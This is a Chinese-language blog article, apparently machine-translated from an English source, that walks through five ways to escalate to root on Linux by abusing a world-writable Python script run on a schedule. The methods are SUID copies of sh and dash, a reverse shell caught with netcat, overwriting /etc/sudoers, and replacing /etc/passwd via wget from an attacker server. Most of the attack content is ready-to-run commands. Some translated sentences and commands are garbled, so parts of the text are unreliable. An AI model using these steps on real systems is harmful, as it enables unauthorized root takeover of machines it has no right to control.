快捷搜索:  网络  后门  CVE  渗透  木马  扫描  黑客  as

通过可写文件获取Root权限的多种方式

1.png

写在前面的话

在Linux体系中,任何器械都是以文件情势存在的,包括目录以及设备在内,它们都拥有读取、写入以及执行权限(需设置)。当治理员在配置文件权限时,必须根据Linux用户的详细情形来进行配置。

在这篇文章中,我们将跟人人讨论怎么样通过可写文件/脚原先完成Linux下的提权。接下来,我们直奔主题。

关上你的电脑,然后入侵目标体系,我们直接进入到提权环节。假设我已经通过ssh成功登录目标设备,然后走访了非root用户终端。接下来,使用如下命令枚举出整个拥有可写权限的文件:

find / -writable -type  f 2>/dev/null | grep -v "/proc/"

你可以看到,效果中有一个存储在/lib/log目录中的python文件,查看以后我们发现sanitizer.py的权限为777:

2.png

看来这个文件是治理员用来清理/tmp目录垃圾的,这类文件会在一定的时间间隔后自动执行。要是攻击者也发现了这一点,那么他们就能够通过接下来所先容的方式完成提权了。

3.png

第一种要领

把/bin/sh拷贝到/tmp中,启用/tmp/sh的SUID。这类要领很简单,起首使用编辑器来关上文件,例如“nanosanitizer.py”,然后用如下内容替代掉“rm -r/tmp”:

os.system('cp/bin/sh /tmp/sh')
os.system('chmodu+s /tmp/sh')

4.png

接下来,它会在/tmp目录中创建一个拥有SUID权限的sh文件,你运行该文件以后你就能拿到root权限了。

cd /tmp
ls
./sh
id
whoami

5.png

第二种要领

跟之前的要领同样,你可以用如下代码替代掉原来的“rm -r /tmp”:

os.system(‘chmod u+s /bin/dash)

6.png

一段时间以后,它会给/bin/dash文件配置SUID权限,当你运行它以后你就能拿到root权限了:

/bin/dash
id
whoami

7.png

第三种要领

这里我们需要将python反向shell连接代码复制到“rm -r /tmp/*”这里,然后在新的终端里开启netcat监听器:

8.png

一段时间以后你就会通过netcat拿到反向shell连接,并获取到root权限了:

nc-lvp 1234
id
whoami

9.png

第四种要领

这是一种最有趣的要领,我们可以通过这类要领来使用sudo权限去登录目标设备。人人可以看到,wernerbrandes现在还没法运行sudo命令:

10.png

将如下代码替代掉“rm -r /tmp/*”:

os.system('echo"wernerbrandes ALL=(ALL) NOPASSWD: ALL" > /etc/sudoers')

11.png

一准时间以后,当你运行“sudo -l”命令以后,你就会发现这个账号变成了sudo用户,然后你就可以拿到root权限了:

sudo -l
sudo bash
id

第五种要领

在任何一个类Linux体系中,passwd文件的重要性不言而喻,要是攻击者可以走访或修改这个文件,那么该文件就变成了一种提权方式。在可写脚本的帮助下,我们可以使用cat命令来走访etc/passwd文件。

人人可以从下图中看到高亮标注的nemo用户信息,我猜测UID:1000 & GID:1000表示该用户极可能在治理员组内里。我们需要修改nemo记录并让它成为root组成员。起首,黑客工具,把etc/passwd文件的内容拷贝到一个空白的text文件中。

12.png

然后在新的终端里,生成salt暗码:

openssl passwd -1 -salt abc 123

13.png

把salt暗码拷贝到nemo用户记录条目的“X”地位,把之前的UID&GID改为0:0。实现所有步骤以后,把刚才新建的text文件保存问“passwd”,然后把这个文件拷贝到目标主机中笼盖掉原始的passwd文件。

cd Desktop
python -m SimpleHTTPServer 80

14.png

行使可写脚本,用如下命令替代掉“rm -r /tmp/*”:

os.system(‘chmod u+s /bin/cp)

过一段时间以后它将会开启/bin/cp的SUID权限,然后实现文件拷贝。

15.png

将修改后的passwd文件拷贝到目标主机的/tmp目录中,然后输入如下命令:

cd /tmp
wget http://192.168.1.103/passwd
ls -al /bin/cp
cp passwd /etc/passwd

16.png

使用如下命令查看passwd文件是否替代成功:

tail /etc/passwd

17.png

通过如下命令拿到root权限:

su nemo
password123
whoami

总结

在这篇文章中我们给人人演示了攻击者怎么样行使可写文件完成提权,希翼人人喜好。

18.png

* 参考来源:hackingarticles,Alpha_pck编译,

您可能还会对下面的文章感兴趣: